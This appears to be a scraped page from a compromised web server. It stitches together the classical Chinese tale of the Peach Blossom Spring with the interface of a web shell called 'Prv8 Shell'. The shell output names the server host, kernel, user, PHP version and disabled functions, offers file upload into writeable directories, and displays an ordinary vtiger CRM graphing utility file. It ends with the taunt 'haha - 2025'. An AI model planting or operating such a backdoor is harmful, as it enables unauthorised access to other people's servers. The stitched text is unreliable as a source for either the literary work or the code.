晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/akaindir/www/crm/include/utils/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/akaindir/www/crm/include/utils/GraphUtils.php
<?php

/*********************************************************************************
** The contents of this file are subject to the vtiger CRM Public License Version 1.0
 * ("License"); You may not use this file except in compliance with the License
 * The Original Code is:  vtiger CRM Open Source
 * The Initial Developer of the Original Code is vtiger.
 * Portions created by vtiger are Copyright (C) vtiger.
 * All Rights Reserved.
*
 ********************************************************************************/

// TTF Font names
DEFINE("FF_COURIER",'Courier New');
DEFINE("FF_VERDANA",'Verdana');
DEFINE("FF_TIMES",'Times New Roman');
DEFINE("FF_COMIC",'Comic');
DEFINE("FF_ARIAL",'Arial');
DEFINE("FF_GEORGIA",'Georgia');
DEFINE("FF_TREBUCHE",'Trebuc');
DEFINE("FF_DEJAVUSAN",'DejaVuSans');

// Chinese font
DEFINE("FF_SIMSUN",'Simsun');
DEFINE("FF_CHINESE",'Chinese');
DEFINE("FF_BIG5",'Big5');

DEFINE("FF_FONT1",'Vera');

/**This function is used to get the font name when a language code is given
* Param $locale - language code
* Return type string - font name
*/
function calculate_font_name($locale)

{
	global $log;
	$log->debug("Entering calculate_font_name(".$locale.") method ...");

	switch($locale)
	{
		case 'cn_zh':
			$log->debug("Exiting calculate_font_name method ...");
			return FF_SIMSUN;
		case 'tw_zh':
			if(!function_exists('iconv')){
				echo " Unable to display traditional Chinese on the graphs.<BR>The function iconv does not exists please read more about <a href='http://us4.php.net/iconv'>iconv here</a><BR>";
				$log->debug("Exiting calculate_font_name method ...");
				return FF_DEJAVUSAN;

			}
			else
			{
				$log->debug("Exiting calculate_font_name method ...");
				 return FF_CHINESE;
			}
		default:
			$log->debug("Exiting calculate_font_name method ...");
			return FF_DEJAVUSAN;
	}

	$log->debug("Exiting calculate_font_name method ...");
	return FF_DEJAVUSAN;
}

/**This function is used to generate the n colors.
* Param $count - number of colors to generate
* Param $start - value of first color
* Param $step - color increment to apply
* Return type array - array of n colors values
*/

function color_generator($count = 1, $start = '33CCFF', $step = '221133')
{
	global $log;
	$log->debug("Entering color_generator(".$count.",".$start.",".$step.") method ...");
	// explode color strings to RGB array
	if($start{0} == "#") $start = substr($start,1);
	if($step{0} == "#") $step = substr($step,1);
	// pad shorter strings with 0
	$start = substr($start."000000",0,6);
	$step = substr($step."000000",0,6);
	$colors = array(hexdec(substr($start,0,2)),hexdec(substr($start,2,2)),hexdec(substr($start,4,2)));
	$steps = array(hexdec(substr($step,0,2)),hexdec(substr($step,2,2)),hexdec(substr($step,4,2)));
	// buils $count colours adding $step to $start
	$result = array();
	for($i=1; $i<=$count; $i++){
		array_push($result,"#".dechex($colors[0]).dechex($colors[1]).dechex($colors[2]));
		for($j=0; $j<3; $j++) {
			$colors[$j] += $steps[$j];
			if($colors[$j] > 0xFF) $colors[$j] -= 0xFF;
		}
	}
	$log->debug("Exiting color_generator method ...");
	return $result;
}

/**This function is used to define the optimum spacin for tick marks on an axis
* Param $max - maximum value of axis
* Return type array - array of 2 values major and minor spacing
*/

function get_tickspacing($max = 10)
{
	global $log,$app_strings;
	$log->debug("Entering get_tickspacing(".$max.") method ...");
	$result = array(1,1);
	
	// normalize $max to get value between 1 and 10
	$coef = pow(10,floor(log10($max)));
	if($coef == 0)
	{
		$data=0;
		echo "<h3>".$app_strings['NO_DATA_AVAILABLE_WITH_SPECIFIED_PERIOD']."</h3>";
		$log->debug("Exiting get_tickspacing method ...");
		return $data;
	}
	$normalized = $max / $coef;
	
	if($normalized < 1.5){
		$result[0] = 0.2;
		$result[1] = 0.1;
	}
	elseif($normalized < 5){
		$result[0] = 0.5;
		$result[1] = 0.1;
	}
	elseif($normalized < 10){
		$result[0] = 1.0;
		$result[1] = 0.5;
	}
	$result[0] *= $coef;
	$result[1] *= $coef;
	$log->debug("Exiting get_tickspacing method ...");
	return $result;
}
?>

haha - 2025